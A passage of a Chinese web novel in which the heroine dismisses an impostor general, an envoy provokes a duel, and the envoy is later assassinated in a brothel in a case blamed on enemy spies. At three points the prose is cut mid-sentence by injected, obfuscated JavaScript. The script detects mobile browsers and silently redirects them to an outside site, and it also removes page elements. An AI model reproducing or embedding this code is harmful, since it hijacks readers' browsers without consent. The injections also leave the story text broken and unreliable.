发现温沉吟就站在自己身前后,他立马“啊”了一声,如受惊的兔子一般迅速跳了起来。 侍女见状,也知道自己杵在那不方便,赶紧知情识趣地退开了。 马小六可怜兮兮站在原地,表情里都是讨好。 欲言又止了好一阵,他才勉勉强强地哼了个声音出来:“那个……我在这等你,是想来跟你道歉来着。” 温沉吟哼声一笑,口气里都是凉意:“道歉?道什么歉?” 见她还愿意理睬自己,马小六精神一振,立马加快了语速:“昨天我不该瞒着偷偷溜出去,更不应该去妓馆找姑娘喝花酒!虽然我在这宅子里闷了这么久,都快憋出病来了,但无论如何,我吃的用的都是你给的,怎么着也不应该惹你不痛快……” 这一连串的道歉下来,不仅丝毫没有觉察到温沉吟究竟是在为何事气恼,还隐隐有为自己开脱之意。 温沉吟越听越上火,没等他把话说完,便已经迅速打断了他:“既然你觉得无聊,就去卫宁那领些银子。以后你想去哪就去哪,也不用再委屈自己了。” 听闻她要送自己出府,马小六身子一僵,像是有些急了:“你这话什么意思?你是想赶我走吗?” 温沉吟不想再与他废话,转身之后衣袖一甩,一脸冷漠地将他抛在了身后。 决定放弃马小六这个冒牌货后,温沉吟也算是彻底放下了一桩心事。 但如何应对夏翌的来访,却变得更加棘手。 时间急迫之下,她也没有更周全的主意,于是只能遣人去魏弘宣那里送了消息,只盼着能借着他皇子的名头,暂时避开这次危机。 夏翌那边却早已是迫不及待,正午刚过,便带了一众随从,声势浩荡候在了温府大门前。 眼见如此,温沉吟知道是躲不过去了,只能一边暗自戒备,一边礼数周全地将他迎进府中。 来意早已表明的情况下,夏翌也没再佯做客套。 进府之后人才刚刚坐下,就已经迫不及待地问道:“云麾将军人呢?怎么一直没见到?难道竟是病到连床也下不了了么?” 温沉吟早知他会有此一问,口气不慌不乱:“世子误会了。云麾将军身体已无大碍,只是今日一早六殿下便遣了人来,说是有事要办,因此暂且不在府中。” 听她搬出皇子做挡箭牌,夏翌发出一声冷笑:“那还真是巧了。知道的,是说云麾将军替六殿下办事,错过了与本王见面的机会,不知道的,还当是云麾将军在病中折了锐气,竟是连本王的面都不敢见了!” 他这话说得嚣张傲慢,口气也满是奚落之意,一时之间,在场的燕国中人都不禁都变了脸色。 温沉吟却依旧平心静气地回应道:“世子说笑了,您此次携凉国使团出使大燕,是为了两国交好的目的而来,云麾将军为何不敢见你?” 夏翌将茶杯一放,眼中闪出一丝凶光:“小王听闻云麾将军身手不凡,早想亲自见识一番。只是云麾将军一代名将,若是不小心输了,岂不太过难看?” 温沉吟主动提及他使臣的身份,只是为了提醒他不要将脸皮撕破,不料这夏翌莽撞惯了,竟是连表面功夫都不做,就这样赤裸裸地把挑战之心放上了台面。 温珩早在那日的酒宴上,就因为他对自家姐姐咄咄逼人的态度而心生不爽,如今更是被他那目中无人的模样所以激怒,忍不住“刷”的一下站了起来:“世子若想与我燕国中人一较身手,到也并非只有云麾将军可选。在下虽不才,却也愿尽力一试!” 听他毛遂自荐,夏翌抬眼将他打量了片刻,满是傲慢的表情里带上了一丝不屑:“温公子愿意赐教自然是好,只是公子身份尊贵,又非在战场搏杀之人,真要伤了哪里,小王该如何向温小姐交代?” 温珩资质出色,在武学上也颇有天赋,加之练习勤勉,自幼便被夸赞着长大,何曾被人如此轻视过。 急怒之下,他正待反驳,夏翌已经将手一伸,指向了身后的一名随从:“这样吧……这是小王的侍卫阿贵,手下也算是有些功夫,温公子若是不介意,倒是可以先和他过过招!” 夏翌天生神力,因为常年在战场上的历练,对敌经验更是十分丰富,胜算难料之下,温珩原本已经做好了放手一搏的准备,却不料对方三言两语之间,竟是将他打发给了一个侍从,原本就满是愤懑的心更是怒不可遏。 见他眉头紧皱,平日里总是谦逊和气的一张脸也因为激愤而涨得通红,温沉吟赶紧拉住了他的袖子,轻声叮嘱道:“阿珩,对敌之时不骄不燥方为上策!你切勿因他随口几句话,便乱了心神。” 温珩心下一凌,迅速屏息凝神,平复心绪。 持剑而出时,先一步客客气气地先行抱拳施礼:“在下温珩,还请阁下赐教!” 眼见不过片刻之间,他便已克制好自己的情绪,夏翌原本不以为然的表情里隐隐多出了几分赞赏。 阿贵见状也愣了愣,随即抱拳还礼,口气生硬的表示:“温公子客气了!” 话音才落,温珩已经拔剑破鞘,凌空飞起。寒光闪动之间,直接化剑为刀,以泰山压顶之势,向他头顶重重劈去。 阿贵没想到这看着斯文有礼的小公子一出手便是搏命的架势,惊诧之下,立马脚步疾退,有些狼狈地避开了他的攻击。 温珩心中憋着一口气,此刻既已先发制人,哪里会给他半点喘息的机会。 没等对方站稳,瞬间又是几个剑花挽过,接连几招下来,只攻不守,竟是逼得对方没有还手之机。 卫宁候在一旁,见温珩主动请战时,还有些忧心忡忡。 不料十几招过下来,见他气势凌厉,优势占尽,不由得也松了一口气:“温大人平日总说,公子虽然在武学上颇有天赋,也练习勤苦,但因没有真正在战场上经历过生死,与人对战时总是缺了点气魄。如今看来,公子倒是长进了不少……” 温沉吟紧盯着眼前的战局,眉头微微蹙起:“气魄是有了,但胜负却很难说。” 卫宁只觉疑惑:“小姐何出此言?我看那阿贵气势已竭,认输只是迟早的事!” 温沉吟摇了摇头,还没来得及开口,空中血花一闪,阿贵的肩膀竟已多出了一条血痕。 温珩似是也没料 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221116|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟会如此轻易便将对方击伤,剑锋一收,正打算就此停手,夏翌已经用力鼓了鼓掌,随即高声喊道:“阿贵,温公子这是在给你立规矩呢!既然此次比试可以见血,你便也不用再客气了!” 话音刚落,阿贵那双沉如死水般的眼睛蓦然间精光一间,整个人似是忽然像是神游状态中苏醒过来一般,瞬间专守为攻,速度飞快地向温珩腰间击出一掌。 温珩猝不及防,赶紧抬剑去挡。 剑身才与对方手掌相触,随着“当”的一声脆响,长剑竟被拦腰震断。 那柄长剑乃精铁锻造而成,虽然剑身轻薄,但是削铁如泥,极是坚韧。 如今被他一掌震断,不仅让温珩惊出了一身冷汗,也让温沉吟瞬间反应了过来。 夏翌有心挑衅,派出阿贵上场,必定不想只是点到即止那么简单。 但他身为使臣,温珩又身份尊贵,若是交手之间失了分寸,必然会惹上麻烦。 所以阿贵才会先行示弱,引得温珩将他刺伤,若是后续再有人伤到哪里,便可把“受伤见血”的规矩推到温珩身上。 温珩显然也意识到了这一点,短暂的错愕之后,出手开始变得谨慎。 但阿贵却像是越战越勇,一招一式都是直逼温珩要害而去,与最初那拙力难支的模样俨然判若两人。 卫宁也从骤然扭转的战局中意识到了凶险,不禁满是心急:“小姐,这阿贵深藏不露,功夫极好。再这么打下去,公子怕是凶多吉少。” 温沉吟深知眼下已不是逞强的时候,略加思考后很快站了起来:“早就听闻世子手下能人辈出,没想到随便一个侍卫身手也如此了得。只是看这情形,短时间内也难分胜负,不如就此罢手,算做和局如何?” 夏翌原本的目标就不是温珩,此刻听她主动求和,又给足了自己面子,于是也摆出了见好就收的姿态:“温小姐既然都这么说了,小王自当遵从。阿贵,你便先回来吧,以后有机会再向温公子讨教也不迟。” 听他纵声叫停,阿贵愣了愣,原本如狂风骤雨般的攻势瞬间收敛。 温珩只当他要停手,正准备收势行礼,转瞬之间,原本已然偃旗息鼓的阿贵忽然欺身向前,劈掌砍向了他的颈间。 这一掌来势汹汹,掌风厉厉之间带着雷霆之势,俨然是不死不休的杀招。 眼见如此,不仅在场之人齐齐发出了一声惊呼,就连夏翌也不禁变了脸色,厉声喝斥道:“阿贵!你干什么!” 形式急转之下,温珩想要格挡已然来不及,于是只能同样一掌拍向他的胸口,想要将对方逼退。 不料阿贵不退不让,视眼前的威胁于无物,手下的攻势并未因此稍减。 光影交错之间,眼见那道掌影已经劈至耳边,温珩干脆将眼睛一闭,将全身的力气汇聚在那一掌之上,只盼着拼着两败俱伤的结果,也不能让对方全身而退。 危急之时,随着“呼”的一声响,一枚圆圆的铜钱忽然从空中闪过,直直飞向了阿贵的后脑。 阿贵骤然一惊,身形微拧,掌风堪堪从温珩颈边擦过。 而温珩拼劲全力的那一掌,也从他心口的位置,重重落向了他的右肩。 凶险至极的一场对战就此终结,在场的人都不由得松了一口气。 心惊之下,温珩重重喘了几口气,才咬牙抱拳:“承让了!” 阿贵被他打伤,脸色已是一片惨白,然而面对温珩的礼数,却视若无睹,只是捂着已经脱臼的肩膀,冲着院门处怒声呵斥:“来者何人,竟敢暗中偷袭?” “你们世子都让你回去了,难道你没听到?我不过是好心提醒一下你,又没伤你分毫,哪里算得上偷袭?” 随着一声轻笑,一道人影已经踏进院子,眉目带笑地站在了众人面前。 24. 无赖 自踏入温府,夏翌就一直神情闲逸地坐在椅子上。 即便是阿贵与温珩交战到最凶险的时候,也不过是稍稍挺直了腰,似是对眼前的一切完全没有放在心上。 然而此刻见到来人,他竟是连呵斥阿贵也顾不上了,很快便站起身来,高声试探道:“温小姐,这位兄台如此有趣,怎么不介绍给小王认识认识?” 温沉吟念头急转,一时间却不知该如何回答。 亲眼目睹了马小六在莳花馆的种种荒唐举动之后,她已然认定了对方是个沉迷享乐,不堪大用之人。自己已经放他自由的情况下,她也料定对方会拿上银子,从这命悬一线的危局中迅速抽身。 可万万没想到的是,这人不仅没走,还特意梳洗打扮了一番,在这种危机四伏的时刻,光明正大地忽然现身。 马小六似是觉察到了她满心的踌躇,没等她开口,已经快步向前,语调轻快地坐起了自我介绍:“在下裴瑾,承蒙主人家照顾,近些日子在温府修养。刚出门回来,听到这边有动静,就说过来看看热闹,倒是让世子见笑了。” 夏翌闻言一愣,目光重新落在了他的脸上:“阁下便是云麾将军?” 马小六撇了撇嘴角,似是有些不满:“怎么?世子是觉得哪里不像么?” 身为平阳王之子,夏翌自幼在军中长大,关于裴瑾的传闻,自然是听了不少。 时间久了,对于那个年纪相仿,却盛誉不断的少年将军,好奇之余,难免也起了胜负心。 只是燕、凉两国之间一直维持着表面的和平,以致他从未有过和裴瑾正面交锋的机会,亦未曾亲眼见过本人。 但他却知道,裴瑾之所以年纪轻轻却扬名天下,除了战功赫赫,难逢对手之外,也因为他长了一张俊朗如月的好脸孔。 传闻庆帝最心爱的女儿安阳公主在与裴瑾有过一面之缘后,就此茶饭不思,情根深重,甚至拒绝了庆帝为她精心挑选的驸马,更是成为了将士之间茶余饭后的八卦佐料。 各种夸张离奇的八卦听多了,夏翌早已认定,裴瑾不过是因为父亲刻意提携,外加长了一张女人喜欢的脸,才让他有了如今的名声。 数月之前,燕庆两国在涧云峡的那场大战他也一直在关注。 虽然潜伏在两军之中的暗探发来的密报中,都表示这场战事之所以会让裴氏父子身陷窘境,是因为燕国军中有重要人物泄露了军情机密,但在他看来,最后那个惨烈的结局只是再次作证了裴瑾身为战将的失败与无能。 如今对方就这样活生生地站在了他面前,虽那张脸看上去的确是风神俊朗,让人一见难忘,但那吊儿郎当,满是轻浮的神情,哪里有半分少年将军在沙场上挥斥方遒,震慑三军时应有的模样! 若是要折他的锐气,证明在自己面前,此人不过只是徒有其名的花架子,眼下大概便是最好的时候…… 念头至此,夏翌那张满是傲慢的脸上,很快浮现出了一个志在必得的笑容:“云麾将军误会了,本王只是听闻你身上有伤,尚在休养,才特意带了不少药材上门探望。却不料你如今看上去这般精神,倒是让小王白担心了。” 马小六似是没能听出他口气中的嘲讽之意,脸上也迅速浮出了一抹笑:“承蒙世子关心。我原是有伤在身,但休养了这么久,也已经好得差不多了。遇到天气好的时候,出来活动活动,也是没问题的……” 夏翌等的就是这句话,立马高声打断了他:“既是如此,小王有个不情之请,还望云麾将军成全。” 马小六神色一僵,像是意识到自己已经主动钻进了对方的圈套里。 但众目睽睽之下,他也能硬着头皮把话接了下去:“不知世子有何见教?” 夏翌紧盯着他,犹如已经将猎物牢牢锁定的毒蛇一般,口气里都是杀气:“本王久闻云麾将军盛名,一直想要向讨教讨教。今日既然有缘得见,将军身体又已无恙,还望能亲自指点一二。” 温沉吟心知以马小六在杂戏班子里混出来的那点花拳绣腿,糊弄一下普通人还行,但若遇到夏翌这种在挽弓斥马的沙场战将,定是不堪一击。 只是他自认身体已然康复,对方又打着“讨教”的名号,此刻要是推诿,已经拿不出什么像样的理由。 眼见风波又起,众人的目光都落在了马小六身上,等着他看如何应对。 马小六却只是叹声表示:“世子想要切磋,在下自当奉陪。只是世子身份贵重,若是像那阿贵一样伤了哪里,那该如何是好……” 夏翌见他装腔作势,言语之间竟是讨尽了便宜,不由的心头火起:“云麾将军不必担心,你我都是上惯了战场的人,区区一点小伤,本王还不放在眼里。就算是刀枪无眼,真要了小王性命,本王也只会怪自己学艺不精,必不会牵连旁人!” 听他直接将生死摆上桌面,马小六下意识地缩了缩脖子,连脸上的笑容也变得有些僵硬:“话虽这么说,但世子身为使臣,切不能有所闪失……要不这样,咱们也不必直接动手,就随意找个项目比试比试,这样既能有所切磋,又不会伤及身体,世子以为如何?” 夏翌听他啰啰嗦嗦讲了半天话,明显怯意已露,当即冷声一哼:“不知云麾将军想要比试什么?只是咱们大凉男儿在马背上打天下,若是咬文嚼字的那些把戏,小王可就不奉陪了。” 马小六哀声一叹,似是感同身受:“那是自然,咬文嚼字的那些东西别说世子不乐意,我也头疼得很。只是我大燕国武学庞杂,若是选了个世子不擅长的,只怕也是胜之不武……” 夏翌被他一激再激,再也摁纳不住,当即恨声表示:“云麾将军不必多虑,随意安排就是!只要与武学有关,但凡你能做到而本王做不到,那便是我输了!” 马小六胡搅蛮缠了半天,终于等来了自己想要的结果,对方话音刚落,他便脚步匆匆地朝着厅内冲去。 温珩不明就里,却也知道只靠唇舌之争,必定难以收场。 情急之下,他只能压低了声音,凑到了温沉吟身前:“姐,他这样胡闹下去也不是办法,反正六殿下那边咱们已经打过招呼了,你看要不要想个法子将他支走?” 事到如今,无论找任何借口离开,都无异于临阵逃脱 看着眼前忙忙碌碌的马小六,温沉吟狠狠将牙一咬:“不急,先看看他究竟要干什么。” 言谈之间,马小六已经搬来了一把椅子,小心翼翼地放在夏翌身前,然后清了清嗓子:“世子请坐。” 夏翌不知道他意欲何为,却还是将腰一沉,大刺刺地坐了下去。 见他人已坐稳,马小六围着椅子绕了一圈,忽然俯身扣住了椅子的两角,用力向上一抬。 虽说夏翌腰圆体壮,身量极重,但倾力之下,椅子的一侧还是微微离开了地面,很快又“咚”的一声砸落了回来。 听到椅子落地时的声响,马小六如释重负般的拍了拍手,随即笑着表示:“行了,如今在下已经将这把椅子和世子都抬起来了。若是世子也能将椅子和自己都抬起来,那这次的比试,咱们就算打和了!” 在他那一脸得意的笑容里,夏翌已然隐隐觉察到有什么不对劲,但仓促之间,却又想不出究竟是哪里出了问题。 众目睽睽下,他也不想失了面子,呵斥了一声“这有何难”之后,便伸手扣住椅沿,开始用力。 然而咬牙切齿地折腾了好一阵,椅子却始终丝稳稳落在那里,没有离开地面半分。 随着时间一点点过去,窃窃地议论声逐渐响起。 夏翌万万没想到事情会发展到这般境地,一时间连耳朵都涨得通红,但偏偏周围站了一圈人,想要发怒,却又拉不下这个脸。 羞恼之下,他只能站起身来,泄愤般将那把椅子狠狠一揣:“行!这场比试算是本王输了!云麾将军还有何种手段都尽管使出来,咱们再比试比试!” 马小六 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221117|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连哄骗带激将地赢了下一局,哪里还敢和他纠缠下去,当即凑身上去,堆起了一脸的谄笑:“世子言重了,咱们就是切磋而已,哪里说得上输赢之分?世子远道而来,不如一起找个地方喝杯酒?让我略表心意,尽尽地主之谊?” 他这一席话说得极是客气,甚至带上了几分讨好的神色,夏翌再是气恼,一时间也不好再做计较,失了使臣的气度。 略加犹豫后,他终于冷声一哼,顺势下了台阶:“云麾将军如此客气,小王自然不会推脱。只是本王初来乍到,倒不知有什么喝酒好去处?” 见他口气松动,马小六搓了搓手,神情里带上了几分兴奋之色,凑身在他耳边轻轻说了几句话后,便迫不及待地领着他走出了温府的大门。 温沉吟深知夏翌有心挑衅,并不会因为马小六摆低姿态、曲意逢迎便会善罢甘休。 更何况,以马小六不知深浅又胆大妄为的性子,就这样和夏翌相处下去,也不知会闹出什么乱子。 只是眼下的风波暂停,她也不想因为自己的介入再起事端。因此心下再是不安,也只能遣了温珩和卫宁暗中跟上,去打探消息。 不料仅仅半个时辰后,温珩便一脸怒意地回了温府,见到她之后也不说话,只是牙齿紧咬着站在那,满脸都是羞恼。 温沉吟见势有异,赶紧追问起了缘由,过了好一阵,温珩才含含糊糊地表示,离开温府之后,马小六竟是带着夏翌直奔莳花馆,并叫来了一堆漂亮姑娘,在里面称兄道弟地喝起了花酒! 天启城的青楼妓馆素来是天下闻名的温柔乡,什么样的客人在里面出现都不意外。 只是大燕朝中官员自矜身份,即便看中了哪位美人,约见之时也会谨慎小心,就怕一旦行迹败露,会坏了自己的名声。 如今这马小六不仅大张旗鼓地出入其间,还拉上了凉国使臣,如此高调荒唐的举动,想来用不了多久,便会传遍街头巷尾,成为众人口中的笑料和谈资。 只是事已至此,一切已经难以回寰。 短暂的惊怒之后,温沉吟干脆暂时把此事抛开,问出了那个一直藏在心中的疑惑:“对了,今日你与阿贵过招,可曾看出他的来历?” 温珩认真想了想:“看不出来……不过从他的身手来看,不像是个普通的侍卫,倒像是江湖中人。” 温珩的回答作证了温沉吟的猜想,让她惊疑之心更甚:“夏翌有心挑衅,特意找了个江湖高手带在身边,这倒是不足为奇,但从阿贵今天的表现来看,似是有心将你置于死地,这却肯定不是夏翌愿意看到的…… 温珩心下一惊:“姐姐的意思是……阿贵虽跟着夏翌做事,却另有私心?” 温沉吟“嗯”了一声,继续质疑道:“还有……你两的比试期间,阿贵明显是拼着两败俱伤的打法,也要将你击杀,甚至连夏翌的命令都不再听从,可最后关头为何又忽然收手? 温珩之前死中逃生,心潮起伏之下,对事发时的种种细节未曾来得及细想。 此刻经温沉吟提醒,将两人交手时的种种细细回想了一遍,不禁也越发心惊:“从明面上看,阿贵之所以会半途变招,是为了躲避马小六抛出的那枚铜钱,可是马小六身手平平,就只会些花拳绣腿的功夫,掷出来的那枚铜钱其实也并没有什么威胁……那么阿贵他究竟是在忌惮什么?” 话刚说到这里,随着“咚”的一声响,卫宁已经推开房门,冲到了他们身前:“小姐,公子,不好了!莳花馆那边出事了!” 卫宁之前一直跟在温北堂身边,大场面见过不少,绝不会因为一点小事就大惊小怪 此刻见他满脸惊惶,连最基本的礼数都已经顾不上,温沉吟心下一惊,已有不祥的预感:“出了什么事?是和世子有关吗?” “是!” 卫宁紧咬着牙,声音却是止不住的颤抖:“就在方才,世子因在莳花馆里与人争风吃醋,死在了花魁柳行云的房中!” 25. 暗探 温沉吟带着温珩与卫宁匆匆赶至莳花馆时,整栋建筑已经被士兵层层围守。 来往的路人虽说不知内情,但看这架势也知道必有大事发生,于是纷纷围站在四周,一边偷眼打量着眼前的一切,一边惊疑不定地议论着。 温沉吟四下扫视了一圈,却没有从人群中发现马小六的身影,正打算找人打探一下情况,却忽然听到了身后一句招呼声:“琇琇,你怎么也来了?” 听到这亲切醇厚的招呼声,温沉吟赶紧转身迎了上去:“顾伯伯,我听说世子出了事,所以赶紧过来看看。不知如今情形如何,抓到凶手了么?” 顾正霆重重一声叹,脸上都是忧虑之色:“陛下听闻此事,大为震怒,已经派出了大理寺查办此事,刑部与鸿胪寺协同配合。大理寺的朱大人雷厉风行,且经验丰富,相信抓到行凶之人,只是迟早的事!只是世子乃大凉使臣,又是平阳王的独子,如今在我燕国出了事,只怕燕凉两国之间,会就此生了嫌隙……” 温沉吟明白夏翌之死事关重大,处理上稍有不慎便会再起烽烟。 无奈之下,她也只能跟着叹了叹。 沉默之间,人群中忽然一阵骚乱,似是有人因为自家儿子被困在了莳花馆,而和围守的士兵争执了起来。 顾正霆见状赶紧劝道:“若是没有别的事,琇琇你就先回去吧。眼下形式未明,你一直在这呆着我也不放心。” 温沉吟摇了摇头:“今日瑾哥与世子同行,也不知他如今怎么样了。我知道大理寺忙着查案,无关人等也不方便进去,但还是想在这等等消息……” 见她满脸忧色,似是格外担心,顾正霆犹豫了一下,终于还是松了口:“琇琇你放心,世子遇害时,阿瑾并不在场,因此也并未被祸事殃及。如今他正在协助朱大人查案,你若实在不放心,可以随我进去瞧瞧!” 有了顾正霆作保,温沉吟与温珩一路顺畅地进入了莳花馆。 然后她很快便发现,比起外面那议论纷纷的情形,馆内的气氛明显要凝重得多。 那些平日里巧笑嫣然、左右逢源的女人们如今都因为馆中死人的消息而花容失色,一个个满心紧张地等待着被盘查。 差役们则都神情肃穆,往来之间,身体都是绷得紧紧的。 顾正霆特意前来,意在督促大理寺的工作进展,进屋之后,便直奔凶案现场而去。 温沉吟见状,正打算也跟着过去看个究竟,晃眼之间,却瞥见昨日里还在对着她冷嘲热讽的那个妓馆妇人,在一旁泪涕横流地诉说着自己的冤情:“大人啊!今天这事我是真的不知情!裴公子带着夏公子进门之后,奴家便去帮忙安排姑娘了。后面夏公子见到了柳姑娘,也是主动要去她房中喝酒的,奴家就是想拦也拦不住啊!” 温沉吟心下一动,快步走近她身旁:“柳姑娘平日里不是都呆在自己房中,不轻易出来见客的吗?今日为何偏偏会撞见了夏公子?” 听到有人插话,一旁的差役本想呵斥,但一番打量下来,见她神情镇定,气质高华,显然不是普通人家的女子,略加犹豫后,终究还是没吭声。 妇人显然也已认出了她,口气中更多了几分委屈:“柳姑娘平日是不轻易见客,但那日见过裴公子之后,只觉一见如故,便总是惦记着。今日听说裴公子特意带了朋友过来,柳姑娘欢喜得很,便主动出来打了招呼。刚好夏公子也在场,聊了几句后,大家便一起去落玉阁听曲了……” 温沉吟得到了答案,便候在一旁,不再多言。 不久之后,温珩经过了一番打探,也将不少消息带了回来。 夏翌去往柳行云的房间时,因为不想太多人跟着,败了兴致,因此身边只带了阿贵一人,其余侍卫都留在了大厅喝酒 因此事发前在柳行云房中呆着的,除她与一名叫水月的侍女之外,便只有夏翌、阿贵与马小六三人。 酒过三巡之后,马小六嫌只听曲子太过单调,便带着那名叫水月的侍女一起出了门,想要她帮着安排一些其他节目。 不料就在他离开后没多久,两个喝的醉醺醺的男人忽然闯进了柳行云的房间,说是已经砸下了重金,一定要她陪他们喝酒。 夏翌心高气傲,又正在兴头上,哪会容他们在自己眼皮子底下抢人,争执的几句后,便示意阿贵赶紧把人给轰走。 他原本以为,有阿贵这样的高手在场,将两个不知天高地厚的男人打发走不过是顷刻之间的事,不料对方却非泛泛之辈,和阿贵有来有往地过了几十招,竟是丝毫未落下风。 眼见战况越演越烈,夏翌有些坐不住了,很快将酒杯一放,起身加入了战局。 不料胜局将定之际,阿贵却忽然倒戈,趁着他与那两个男人缠斗,无暇分神之际,竟是将一枚暗器直直射进了他的心口。 夏翌突遭巨变,只觉又惊又怒,一心想要杀了阿贵复仇。 无奈重伤之下,力有不及,不仅没能阻止阿贵的逃离,自己也没能再活着离开落玉阁。 眼见出了人命,柳行云又惊又怕,不由得纵声惊叫,就此惊动了正带着一群姑娘返身回房的马小六。 虽然在发现事情生变后,他第一时间找来了大夫,但夏翌终究还是因为伤势过重,再也没能救回来。 听完他的转述,温沉吟心下念头急转:“与夏翌动手的两个男人呢?如今情形如何了?” 温珩哀声一叹:“他们被夏翌打伤,大概知道难以逃脱,所以在大夫赶来之前,就已经服毒自尽。如今大理寺正在调查,想弄清他们究竟是何身份。只是从两人的种种表现来看,今日会闯入柳行云房中借酒装疯,就是为了要取夏翌的性命。就是不知阿贵刺杀夏翌究竟是借势而为,还是与这两人根本就是一伙的……” 温沉吟想了想:“如今夏翌和那两名疑凶已死,阿贵又已逃走,那事发时究竟发生了什么,都来自柳行云一人的言证?” 温珩知她疑虑,心中却不以为然:“姐姐是怀疑柳行云所说不实?可夏翌若非阿贵所杀,为何此时会不知所踪?” 温沉吟摇了摇头:“这个我还不清楚,只是那阿贵身手了得,夏翌对他又十分看重,从凉国来大燕这一路上他明明有更好的刺杀机会,为什么会偏偏选择在莳花馆动手?” 说话之间,两人已经走到了柳行云所居的那间落玉阁前。 抬眼之下,却见到马小六站在顾正霆身侧,正与他轻声说着什么。 见温氏姐弟出现,他神情一凌,似是因为再次在青楼妓馆中与温沉吟相见,而有些不知所措。 温沉吟见状,缓步走上前去,轻声问道:“你还好吧?” 马小六没料到她不仅没有出声责备,还会主动关心自己,不由得更是愧疚:“我没事。就是赶来的时间太晚,终究没能救下世子……” 温沉吟抬起眼睛,看向了眼前的小楼:“那那位柳姑娘呢?她如今还好么?” 马小六的眼中闪过了些许不忍:“她受了些轻伤,这到也不打紧,只是受惊过度,又还要接受的盘查,只怕短时间内都很难再睡一个安稳觉了。” 温沉吟点了点头,口气中带上了一丝嘲讽:“柳姑娘与你如此投缘,若非为了与你相见而入了世子的眼,大概也不会卷入到这场是非之中。如今遭此劫难,倒也真是为难她了……” 听她话中有话,马小六面色一惊,似是想要解释什么。 尚未来得及开口,大理寺卿朱鹮已经推开房门,面色凝重地走了过来:“启禀侯爷,方才查验尸体时,仵作从两名疑凶的后腰处发现了同样的刺青,经过辨认,应该是“青鹞”的专属记号……” “什么?青鹞?” 听到这个回答,温沉吟与温珩对视了一眼,都从彼此眼中看到了震惊。 数年之前,为了更好打探情报和进行刺杀行动,庆国军方有人特意设立了一个名为“青鹞”的暗探组织。 由于组织中的大多数人都来自江湖,又时常需要伪装身份,为了防止在执行任务的过程中产生异心、叛逃组织或因彼此误会而自相残杀,加入之初,都会在他们身上留下特殊的刺青。 顾正霆闻言更是惊怒:“庆国人如此胆大妄为,竟敢在我大燕国内公然刺杀凉国世子!此事关系重大,还请朱大人顺着线索尽快查下去,让真相早日水落石出!” 朱鹮是个聪明人,自然明白顾正霆的这番叮嘱究竟是什么意思。 不过短短三日,他便已将案子盖棺定论,呈到了魏栩明的面前。 根据朱鹮调查结果,两个借口闹事的男人皆是庆国“青鹞”组织里的暗探,一直以商贩的身份在天启城中活动。 阿贵则是他们的同党,数年前便更名改姓,潜伏在了夏翌身旁。 得知夏翌出使大燕的消息后,几人通过书信来往,密谋了刺杀一事。其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221118|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目的便是要以夏翌之死,挑起燕、凉两国之间的矛盾,让庆国有利可谋。 按照他们计划,原本想以想让那两个男人以争风吃醋的借口除掉夏翌,留着阿贵继续在凉国潜伏。不料动手之后,却因为夏翌异常凶悍的表现,迟迟无法得手。 为了防止时间拖得太久,惊动更多的人,无奈之下,阿贵只能暴露身份,主动出手,将刺杀计划完成。 消息传进温府那一日,温沉吟正在房中倒弄着香料与药草。 温珩向她转述完消息后,禁不住恨声表示:“庆国人行事如此卑鄙,实在让人不齿。若非朱大人办事得力,很快查明真相,燕凉两国之间,难免因此恶交!” 见他一脸愤慨,温沉吟慢慢放下手中的物件,轻声提点道:“阿珩,朱大人办事得力是没错,但他的聪明之处,却并非只是在查案一事上。这其中的原委,你还得多琢磨琢磨。” 温珩闻言只觉不解:“姐姐是觉得这案子有什么问题么?可我找机会去看过了,那两名凶犯身上的确有青鹞特有的刺青,都是做不得假的……” 温沉吟笑了笑,口气不急不徐:“我并非怀疑他们的身份,只是身为暗探,须得时时小心,事事谨慎,即便真有书信来往,读后理应立马烧掉,为何还会留在家中,等着朱大人上门去搜?” 温珩愣了愣,眉头逐渐皱起:“姐姐的意思是,那些书信可能有人做伪?可两名凶犯身份确凿的情况下,又何必多此一举呢?” 温沉吟叹了口气,继续解释道:“那两个男人的身份的确是查明了,可是阿贵呢?如果没有那些书信,要如何确认阿贵的身份?若是阿贵身份未明,朱大人的案子又该怎么结?” 温珩经她提醒,心中越发觉得惊惑:“姐姐说的有道理……可朱大人查案经验向来丰富,为何偏偏忽略了这件事?” “朱大人如此精明,又怎么会忽略这么重要的事?” 温沉吟的嘴角勾出了一丝嘲讽:“夏翌不明不白地死在了大燕帝都,须得给凉国一个合理的交代。如今既然有证据表明有凶犯来自庆国,那其余涉事之人究竟是何来历又何必再追究?直接以如今的理由结案,无论是对燕国还是凉国,自是都最好的结果。” 温珩将她的话细细咀嚼了一番,已知此事其中的利害关系。 